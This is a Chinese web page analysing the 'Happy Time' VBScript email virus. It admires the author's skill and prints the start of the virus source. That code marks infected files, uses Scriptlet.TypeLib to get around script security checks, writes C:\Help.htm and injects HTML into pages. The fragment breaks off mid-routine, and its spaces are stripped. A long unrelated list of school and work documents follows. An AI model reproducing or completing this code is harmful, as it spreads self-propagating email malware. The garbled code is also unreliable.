翻新时间：2022-11-14
欢乐时光代码分析
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（TypeLibrary）成功地避开了安全审核的手段更是令人叹为观止。
下面让我们来看看它藏在快乐的外衣下的是什么吧！
***************欢乐时光***************
RemIamsorry!happytime
OnErrorResumeNext
Mload
’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。
Submload()
OnErrorResumeNext
mPath=Grf()
SetOs=CreateObject("Scriptlet.TypeLib")
SetOh=CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核
IfIsHTMLThen
’调用IsHtml函数，如果是Html，就小写……
mURL=LCase(document.Location)
IfmPath=""Then
Os.Reset
Os.Path="C:Help.htm"
Os.Doc=Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm
Ihtml=""
’超文本的内容，并指向C:Help.Htm
Calldocument.Body.insertAdjacentHTML("AfterBegin",Ihtml)
Else
IfIv(mPath,"Help.vbs")Then
setInterval"Rt()",10000
Else
m="hta"
IfLCase(m)=Right(mURL,Len(m))Then
id=setTimeout("mclose()",
1)
’设置超时条件
main
Else
Os.Reset()
Os.Path=mPath
下载文档
网友最新关注
- 六一儿童节学生代表发言稿
- 国旗下的演讲
- 小学生国旗下讲话演讲稿
- 国旗下的演讲 诚信伴我行
- 竞选护旗手
- 获奖发言
- 童年趣事
- 童年趣事
- 童年趣事
- 少先队员代表发言
- 获奖感言发言稿
- 国旗下的演讲
- 卫生委员竞选发言稿
- 六一儿童节学生代表发言稿
- 童年趣事
- 总工办年度工作总结及第二年度工作设想
- 焦化厂技术员岗位申请报告
- 建筑公司工程部经理年终述职报告
- 总工程师年度述职报告
- 建筑工程项目部经理述职报告
- 土建工程师述职报告
- 2010年度工程总监述职报告
- 工程部经理述职报告
- 某公司技术总工述职报告
- 工程项目经理部质量管理工作述职报告
- 总监理工程师2010年个人述职报告
- 建筑公司工程部经理述职报告
- XX年总工办工作总结
- 建筑工程师述职报告
- 项目部总工程师个人年终总结
- 《雷雨》老师语录
- 《最大的“书”》 写作指导及训练素材
- 《要是你在野外迷了路》 知识点精析
- 《最大的“书”》 范文习作
- 《雷雨》 趣闻故事
- 《雷雨》 考点练兵2
- 《最大的“书”》 重难点分析
- 《雷雨》重难点分析
- 《雷雨》 重点字词梳理
- 《雷雨》 重点字词意思
- 《最大的“书”》 老师语录
- 《雷雨》 整体阅读感知
- 《最大的“书”》 相关介绍
- 《要是你在野外迷了路》 整体阅读感知
- 《雷雨》随堂练习 巩固篇